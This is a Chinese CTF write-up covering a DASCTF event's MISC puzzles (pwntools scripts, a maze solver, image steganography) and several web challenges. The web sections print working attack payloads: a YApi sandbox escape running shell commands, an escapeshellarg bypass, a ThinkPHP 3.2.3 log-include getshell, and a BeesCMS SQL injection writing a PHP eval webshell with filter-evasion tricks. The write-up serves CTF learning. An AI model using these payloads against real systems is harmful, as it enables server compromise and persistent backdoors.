最后十分鐘掉了4名可還行
只寫自己做了的,隊友出的就不寫了
題目:
Crypto:Yusa的密碼學簽到——BlockTrick
MISC:5道+1道賽后復現(共6道)
WEB:ezrce、cat flag、easythinkphp、jspxcms、cybercms
Crypto:Yusa的密碼學簽到——BlockTrick

不知道啥意思,反正暫且當復讀機就行了,
MISC-問卷題
DASCTF{79f3bb47a2e2d46def82c052eccb7b80}
MISC-red_vs_blue
一共66輪,本來想手動發現90s會自動斷開,還發現在同一輪nc里面的答案是固定的,于是可以寫腳本試錯在90s內贏66輪
p=remote("node4.buuoj.cn",26137)
context.log_level='debug'
answer='b'*66
f=False
while True:
for i in range(66):
p.recvuntil('choose one [r] Red Team,[b] Blue Team:')
p.sendline(answer[i])
p.recvuntil("Team")
p.recvuntil("Team\n")
if p.recv(5).decode()=="Sorry":
p.recvuntil('Play again? (y/n): ')
answer=answer[:i]+'r'+answer[i+1:]
p.sendline('y')
break
else:
continue
try:
flag1=p.recvuntil('flag')
flag2=p.recvuntil('\n')
f=True
break
except:
pass
if f:
break
print(flag1,flag2)
MISC-funny_maze
麻了麻了,照著改了好多次,2個半小時就沒了
原腳本:https://blog.csdn.net/qq_29681777/article/details/83719680
對其進行修改:
def winner(n):
dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)] # 當前位置四個方向的偏移量
path = [] # 存找到的路徑
def mark(maze, pos): # 給迷宮maze的位置pos標"2"表示“倒過了”
maze[pos[0]][pos[1]] = 2
def passable(maze, pos): # 檢查迷宮maze的位置pos是否可通行
return maze[pos[0]][pos[1]] == 0
def find_path(maze, pos, end):
mark(maze, pos)
if pos == end:
print(pos, end=" ") # 已到達出口,輸出這個位置,成功結束
path.append(pos)
return True
for i in range(4): # 否則按四個方向順序檢查
nextp = pos[0] + dirs[i][0], pos[1] + dirs[i][1]
# 考慮下一個可能方向
if passable(maze, nextp): # 不可行的相鄰位置不管
if find_path(maze, nextp, end): # 如果從nextp可達出口,輸出這個位置,成功結束
print(pos, end=" ")
path.append(pos)
return True
return False
def see_path(maze, path,counts): # 使尋找到的路徑可視化
count = 0
for i, p in enumerate(path):
if i == 0:
maze[p[0]][p[1]] = "E"
elif i == len(path) - 1:
maze[p[0]][p[1]] = "S"
else:
maze[p[0]][p[1]] = 3
print("\n")
for r in maze:
for c in r:
if c == 3:
print('\033[0;31m' + "*" + " " + '\033[0m', end="")
count += 1
elif c == "S" or c == "E":
print('\033[0;34m' + c + " " + '\033[0m', end="")
elif c == 2:
print('\033[0;32m' + "#" + " " + '\033[0m', end="")
elif c == 1:
print('\033[0;;40m' + " " * 2 + '\033[0m', end="")
else:
print(" " * 2, end="")
print()
print(count+1)
counts = count +1
return counts
p.recvuntil("#"*n + '\n')
map = ["#"*n]
for i in range(n-1):
map.append(str(p.recvline())[2:-3])
for i in map:
print(i)
maze = [[0]*n for i in range(n)]
for h in range(len(map)):
for w in range(len(map)):
if(map[w][h] == '#'):
maze[w][h] = 1
if(ord(map[w][h]) == 32 or map[w][h] == 'S' or map[w][h] == 'E'):
maze[w][h] == 0
print(maze)
for h in range(len(map)):
for w in range(len(map)):
if(map[w][h] == 'S'):
start = (w,h)
if(map[w][h] == 'E'):
end = (w,h)
counts = 0
find_path(maze, start, end)
c = see_path(maze, path,counts)
p.recvline()
p.sendline(str(c+1))
from pwn import *
context.log_level ='debug'
p = remote("node4.buuoj.cn",29622)
p.sendline("1")
winner(11)
winner(21)
winner(31)
winner(101)
winner(111)
這里定義為了函式,是為了初始化,如果不定義成函式,就會出現錯誤,還有就是定義二維陣列一定要像我那樣定義,不然會出現非理想的情況,免得自己排查都沒排除清楚,

MISC-Just a GIF
類似國賽的GIF,甚至比國賽的簡單
首先GIF用GIFFrame分離,一共得到451張圖片
每11張為一組,一共41組,一組一組的來比較,即第一組第x張和每組第x張比較,相同畫白,不同畫黑
聽不懂就看腳本
from PIL import Image
import os
from tqdm import tqdm
path = 'C:\\Users\\mumuzi\\Desktop\\Just_a_GIF'
pic = ['']*451
i = 0
for filename in os.listdir(path):
pic[i] = filename
i += 1
print(pic)
tmp = Image.open(path+'\\Frame0.png')
w,h = tmp.size[0],tmp.size[1]
img = Image.new('RGB',(w,h),(255,255,255))
count= 0
flag = ''
#上面沒用,是當時除錯的時候寫的,忘了刪了
for i in tqdm(range(11)):
picn = Image.new('RGB',(w,h),(255,255,255))
for t in range(1,41):
pic1 = Image.open(path+'\\Frame'+str(i)+'.png')
pic2 = Image.open(path+'\\Frame'+str(i+t*11)+'.png')
for j in range(h):
for k in range(w):
tmp1 = pic1.getpixel((k,j))
tmp2 = pic2.getpixel((k,j))
if(tmp1 != tmp2):
picn.putpixel((k,j),(0,0,0))
picn.save(str(i)+'.png')
媽的,笑死,我當時到底在寫什么玩意兒,前面獲取了目錄后面為啥不直接用目錄,有病,
想起來了,上面,for i 前面的 都不用看,那是當時在除錯的時候測驗的,只需要從for i in tqdm(range(11))開始看就行了
我的命名是從0開始到450的
然后跑出來:

很容易看出來是要拼起來,9張圖手擼即可
DataMatrix
https://demo.dynamsoft.com/barcode-reader/

DASCTF{6bb73086aeb764b5727529d82b084cce}
MISC-Nuclear wastewater
核~~廢~~水
原本黑黑的二維碼變成了彩色的,把他的值列印出來,發現2通道為0,另一通道不為零
將其轉字符,因為包含不可列印字符,所以這里把范圍限制到32~128
from PIL import Image
img = Image.open('Nuclear wastewater.png')
w,h = img.size[0],img.size[1]
for i in range(3):
for j in range(10,h-10,10):
for k in range(10,w-10,10):
tmp = list(img.getpixel((k,j)))
if(tmp != [255, 255, 255] and int(tmp[i]) != 0 and tmp[i]>32 and tmp[i]<128):
print(chr(tmp[i]),end='')
雖然我知道if判斷那里前兩個條件多余了,但是當時是這樣做的,就還是這樣寫吧,
得到:
Ys>UEJht#?ppeEFtstR#:hitR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh
然后詞頻
from collections import Counter
f = 'Ys>UEJht#?ppeEFtstR#~:hi~tR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh'
c = Counter(f)
print(c)

#R@/&p~!,因為后面詞頻為1,出題人肯定不會將1的放進去,不然就不知道順序,做起來稍微麻煩了一點,測驗發現果然如此,解壓成功,
#R@/&p~!
然后用winhex查看解壓的txt

發現零寬隱寫,包含:U+200C U+200D U+200E
http://330k.github.io/misc_tools/unicode_steganography.html


直接上cyberchef,注意復制的時候不要把零寬的內容復制進去了,或者直接復制上圖左上的內容


flag{98047de9ce5aaa4c0031fb55e9dfac70}
MISC-賽后復現-ezSteganography
非預期,用stegsolve分離出g0通道,得到前半張圖

然后,圖g0和g1異或

flag{2e9ec6480d05150c211963984dcbc9f1}
WEB-ezrce
打開顯示yapi,直接去百度yapi漏洞
https://blog.csdn.net/Trouble_99/article/details/118667625
這篇 無腦的命令執行方法
然后就是找flag的位置
先ls沒有,然后ls …/; ls …/…/發現ffffffflllllaggggg
最后:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process’)
const process = myfun()
mockJson = process.mainModule.require(“child_process”).execSync(“cat …/…/ffffffflllllaggggg”).toString()

WEB-cat flag
根據提示:管理員曾經訪問過 flag,可以去日志找
Payload:?cmd=/var/log/nginx/access.log

得到:/this_is_final_flag_e2a457126032b42d.php
然后就是想辦法繞過escapeshellarg
而根據百度經常看見的做法,一般escapeshellarg和escapeshellcmd一起用
所以這里去單獨搜escapeshellarg函式
https://www.php.net/manual/zh/function.escapeshellarg.php
注意到用戶提出的問題

當escapeshellarg()從UTF-8字串中剝離非ASCII字符時,添加以下內容修復了該問題,
然后看我們這道題,是并沒有添加的,所以可能存在這個問題
然后又要繞flag,所以可以將其添加在flag當中試試
Payload:http://3a33dc78-d707-4a3d-9237-fce482a8ae8e.node4.buuoj.cn/?cmd=this_is_final_fl%81ag_e2a457126032b42d.php
然后看原始碼

WEB-easythinkphp
ThinkPHP3.2.3
手里有兩個Thinkphpgui,一個利用范圍基本5.x,一個包含3.x
是從peiqi薅的
一鍵getshell

上蟻劍
http://68dcc3c6-18dc-4e12-8c76-1c8b783f9f9f.node4.buuoj.cn//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_01.log
Pass:peiqi


Web-jspxcms
跟著這篇文章復現就完事:
https://lockcy.github.io/2019/10/18/%E5%A4%8D%E7%8E%B0jspxcms%E8%A7%A3%E5%8E%8Bgetshell%E6%BC%8F%E6%B4%9E/



Web-cybercms
/www.zip 原始碼泄漏 /admin 后臺
(當時看這后臺就覺得熟悉,結果之后才發現在bugku打awd的時候打過beescms)
原始碼里面看index.php,發現是beescms

然后是得到了他的一個
payload:
admin’ uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile ‘C:/phpStudy/WWW/beescms/shell.php’#
試試

發現題目改過,是在原來基礎上多了個f1_vvv
然后用notepad++搜整個檔案夾,在www\includes\fun.php下

發現是過濾了空格,可以用Tab代替空格,%a0=空格,
哦對,目錄也要改,在看robots.txt的時候發現目錄/var/www/html/
所以寫在其處,這里用的是Tab代替空格
最終payload:
admin%27 un union ion seselectlect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into to outoutfilefile ‘/var/www/html/shell.php’#

劍蟻/shell.php 密碼cmd


轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/291683.html
標籤:其他
